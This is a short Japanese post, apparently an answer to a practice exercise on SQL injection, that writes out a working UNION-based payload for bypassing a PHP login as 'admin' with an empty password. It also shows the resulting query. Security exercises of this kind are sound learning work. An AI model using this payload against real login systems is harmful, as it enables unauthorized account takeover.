https://qiita.com/ockeghem/items/787f74801a24e1fc6960
上記記事の練習問題についての私の回答
UserID : ' union select '' as id, 'admin' as userid, '$2y$10$Ur8VTGkSgaF808C4krzvhOsLLxDzgHxhrVms6aUsnaLxmay3DV/ra' as password, '' as email; -- '
Password : 何も入力しない
password
カラムに突っ込んでいるハッシュ値はローカルで password_hash('', PASSWORD_BCRYPT)
として取得したもので、password_verify()
でtrue
が返る組み合わせなら別に何でも良いです。
これをuserid
をadmin
としたカラムと一緒にunionで結合させています。
この結果、login.php
内でのsqlは
SELECT * FROM users WHERE userid = '' union select '' as id, 'admin' as userid, '$2y$10$Ur8VTGkSgaF808C4krzvhOsLLxDzgHxhrVms6aUsnaLxmay3DV/ra' as password, '' as email; -- ''
となり、userid
がadmin
な、パスワードは空文字列でログイン成立できてしまうレコードが返るわけです。